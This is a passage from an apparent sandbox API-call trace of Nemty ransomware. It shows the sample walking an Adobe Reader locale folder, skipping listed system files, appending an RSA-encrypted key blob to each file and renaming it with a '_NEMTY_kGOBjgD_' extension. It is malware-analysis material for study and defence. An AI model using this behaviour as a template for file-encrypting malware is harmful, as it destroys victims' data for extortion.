nNumberOfBytesToWrite=0x13a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x13a00, lpOverlapped=0x0) returned 1 [0185.490] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0185.490] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=80384, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13a00 [0185.490] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0185.490] CloseHandle (hObject=0x2e8) returned 1 [0185.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0185.490] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0185.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.490] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0185.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.490] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0185.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0185.490] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0185.490] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.490] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Multimedia.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\multimedia.ukr"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Multimedia.UKR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\multimedia.ukr._nemty_kgobjgd_")) returned 1 [0185.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0185.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0185.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0185.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0185.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0185.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0185.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0185.491] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db017e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="PDDom.UKR", cAlternateFileName="")) returned 1 [0185.491] lstrcmpiW (lpString1="PDDom.UKR", lpString2=".") returned 1 [0185.491] lstrcmpiW (lpString1="PDDom.UKR", lpString2="..") returned 1 [0185.491] lstrcmpiW (lpString1="PDDom.UKR", lpString2="...") returned 1 [0185.491] lstrcmpiW (lpString1="PDDom.UKR", lpString2="windows") returned -1 [0185.491] lstrcmpiW (lpString1="PDDom.UKR", lpString2="$RECYCLE.BIN") returned 1 [0185.491] lstrcmpiW (lpString1="PDDom.UKR", lpString2="rsa") returned -1 [0185.491] lstrcmpiW (lpString1="PDDom.UKR", lpString2="NTDETECT.COM") returned 1 [0185.491] lstrcmpiW (lpString1="PDDom.UKR", lpString2="ntldr") returned 1 [0185.491] lstrcmpiW (lpString1="PDDom.UKR", lpString2="MSDOS.SYS") returned 1 [0185.491] lstrcmpiW (lpString1="PDDom.UKR", lpString2="IO.SYS") returned 1 [0185.492] lstrcmpiW (lpString1="PDDom.UKR", lpString2="boot.ini") returned 1 [0185.492] lstrcmpiW (lpString1="PDDom.UKR", lpString2="boot.ini") returned 1 [0185.492] lstrcmpiW (lpString1="PDDom.UKR", lpString2="AUTOEXEC.BAT") returned 1 [0185.492] lstrcmpiW (lpString1="PDDom.UKR", lpString2="ntuser.dat") returned 1 [0185.492] lstrcmpiW (lpString1="PDDom.UKR", lpString2="desktop.ini") returned 1 [0185.492] lstrcmpiW (lpString1="PDDom.UKR", lpString2="CONFIG.SYS") returned 1 [0185.492] lstrcmpiW (lpString1="PDDom.UKR", lpString2="RECYCLER") returned -1 [0185.492] lstrcmpiW (lpString1="PDDom.UKR", lpString2="BOOTSECT.BAK") returned 1 [0185.492] lstrcmpiW (lpString1="PDDom.UKR", lpString2="bootmgr") returned 1 [0185.492] lstrcmpiW (lpString1="PDDom.UKR", lpString2="programdata") returned -1 [0185.492] lstrcmpiW (lpString1="PDDom.UKR", lpString2="appdata") returned 1 [0185.492] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.492] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDDom.UKR", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0185.492] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDDom.UKR", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PDDom.UKR", lpUsedDefaultChar=0x0) returned 9 [0185.492] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.492] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDDom.UKR", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0185.492] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDDom.UKR", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PDDom.UKR", lpUsedDefaultChar=0x0) returned 9 [0185.492] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.492] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.492] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.492] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDDom.UKR", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0185.492] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDDom.UKR", cchWideChar=9, lpMultiByteStr=0x653e8e0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PDDom.UKR", lpUsedDefaultChar=0x0) returned 9 [0185.492] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.492] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.492] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDDom.UKR", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0185.492] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDDom.UKR", cchWideChar=9, lpMultiByteStr=0x653e918, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PDDom.UKR", lpUsedDefaultChar=0x0) returned 9 [0185.492] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.492] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0185.492] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.492] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0185.492] Sleep (dwMilliseconds=0x5) [0185.497] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x223642d0, dwHighDateTime=0x1d561e8)) [0185.497] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x223642d0, dwHighDateTime=0x1d561e8)) [0185.497] GetLastError () returned 0x0 [0185.497] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0185.498] GetLastError () returned 0x0 [0185.498] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.498] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0185.498] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.498] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0185.498] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0185.498] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0185.498] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0185.498] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="Nh74qyGzP+gdVDCorYfJcergghlvLSSni71L7WMGyLE6B44LrDqqBidriTJ/6ABl\r\nO+Uxzaj7EH0jS5ttdHdbR939xIxjgp6Z9Wo8TfQBT3SRjF8V21hgyrSgdo+IWCuu\r\nKpROco2CqHuGPpJjLim6k3+/eYwULF35qNYmn4O1IpAbiBzmwLmfxveiBOeoyVq/\r\nt16lVbD2VoHi5ummhaLn7bMaRDytNJlhk1tamulpmMuqcLMvokqxroSOYHF57hDw\r\nj3gO2rtKfsot9eWSvcECD7ZuyI8YctPPEd9GfYjYRCqJIEeCQSBAfEWMjqiwqgyV\r\nfvGzhWTuXSngCPJHm/8CLQ==\r\n", pcchString=0x653e5dc) returned 1 [0185.498] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0185.498] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.498] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.498] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0185.498] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0185.498] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0185.498] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\PDDom.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\pddom.ukr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0185.498] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=11776) returned 1 [0185.499] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2e00) returned 0x6352c48 [0185.499] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.499] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2e00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2e00, lpOverlapped=0x0) returned 1 [0185.501] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.501] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2e00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2e00, lpOverlapped=0x0) returned 1 [0185.501] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0185.501] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=11776, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2e00 [0185.501] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0185.501] CloseHandle (hObject=0x2e8) returned 1 [0185.501] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0185.501] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0185.501] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.501] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0185.501] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.501] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.501] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0185.502] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0185.502] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0185.502] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.502] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\PDDom.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\pddom.ukr"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\PDDom.UKR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\pddom.ukr._nemty_kgobjgd_")) returned 1 [0185.502] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0185.502] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0185.502] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0185.502] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.502] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0185.502] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0185.502] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.502] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0185.502] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830b2fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7f600, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="PPKLITE.UKR", cAlternateFileName="")) returned 1 [0185.502] lstrcmpiW (lpString1="PPKLITE.UKR", lpString2=".") returned 1 [0185.502] lstrcmpiW (lpString1="PPKLITE.UKR", lpString2="..") returned 1 [0185.502] lstrcmpiW (lpString1="PPKLITE.UKR", lpString2="...") returned 1 [0185.502] lstrcmpiW (lpString1="PPKLITE.UKR", lpString2="windows") returned -1 [0185.502] lstrcmpiW (lpString1="PPKLITE.UKR", lpString2="$RECYCLE.BIN") returned 1 [0185.502] lstrcmpiW (lpString1="PPKLITE.UKR", lpString2="rsa") returned -1 [0185.503] lstrcmpiW (lpString1="PPKLITE.UKR", lpString2="NTDETECT.COM") returned 1 [0185.503] lstrcmpiW (lpString1="PPKLITE.UKR", lpString2="ntldr") returned 1 [0185.503] lstrcmpiW (lpString1="PPKLITE.UKR", lpString2="MSDOS.SYS") returned 1 [0185.503] lstrcmpiW (lpString1="PPKLITE.UKR", lpString2="IO.SYS") returned 1 [0185.503] lstrcmpiW (lpString1="PPKLITE.UKR", lpString2="boot.ini") returned 1 [0185.503] lstrcmpiW (lpString1="PPKLITE.UKR", lpString2="boot.ini") returned 1 [0185.503] lstrcmpiW (lpString1="PPKLITE.UKR", lpString2="AUTOEXEC.BAT") returned 1 [0185.503] lstrcmpiW (lpString1="PPKLITE.UKR", lpString2="ntuser.dat") returned 1 [0185.503] lstrcmpiW (lpString1="PPKLITE.UKR", lpString2="desktop.ini") returned 1 [0185.503] lstrcmpiW (lpString1="PPKLITE.UKR", lpString2="CONFIG.SYS") returned 1 [0185.503] lstrcmpiW (lpString1="PPKLITE.UKR", lpString2="RECYCLER") returned -1 [0185.503] lstrcmpiW (lpString1="PPKLITE.UKR", lpString2="BOOTSECT.BAK") returned 1 [0185.503] lstrcmpiW (lpString1="PPKLITE.UKR", lpString2="bootmgr") returned 1 [0185.503] lstrcmpiW (lpString1="PPKLITE.UKR", lpString2="programdata") returned -1 [0185.503] lstrcmpiW (lpString1="PPKLITE.UKR", lpString2="appdata") returned 1 [0185.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.503] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.UKR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0185.503] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.UKR", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.UKR", lpUsedDefaultChar=0x0) returned 11 [0185.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.503] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.UKR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0185.503] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.UKR", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.UKR", lpUsedDefaultChar=0x0) returned 11 [0185.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.503] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.UKR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0185.503] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.UKR", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.UKR", lpUsedDefaultChar=0x0) returned 11 [0185.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.503] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.UKR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0185.503] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.UKR", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.UKR", lpUsedDefaultChar=0x0) returned 11 [0185.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0185.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0185.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0185.504] Sleep (dwMilliseconds=0x5) [0185.513] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x2238a430, dwHighDateTime=0x1d561e8)) [0185.513] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x2238a430, dwHighDateTime=0x1d561e8)) [0185.513] GetLastError () returned 0x0 [0185.513] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0185.513] GetLastError () returned 0x0 [0185.513] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.513] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0185.513] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.513] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0185.513] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0185.513] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0185.513] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0185.514] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="E7hHRPuoYl2V1Do8g5CEllwShb9fNky6PLEUw0jSOUO6H7TmG7tcQMqaIK9ydwXN\r\nvYdGAlE1tWLNn2KCOigH7lrg6YbjsoYJ1LN/OXupODtBi+jIOM5V4KqJhaptk07P\r\nwN5MONnc7tOk7Bqjt5loiiVP8w124HoiSPQDaihe8LnHfxJqeDkoAnkXwByqoFMT\r\n8hHoE4J6zKdAmUI8pnwJghf3cRDJNyk6dvFJDjnEqAcOVGNRGNdWyYtp08pqEME0\r\nICgwlJYPTqaDjukVvwDWG259RA+Gjou9Ij+c4kma1GmNSUFZFCqW/ruHcWy846Es\r\nbk41L3u98DxdXpPBMRwsPg==\r\n", pcchString=0x653e5dc) returned 1 [0185.514] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0185.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0185.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.514] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0185.514] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0185.514] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0185.514] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\PPKLITE.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 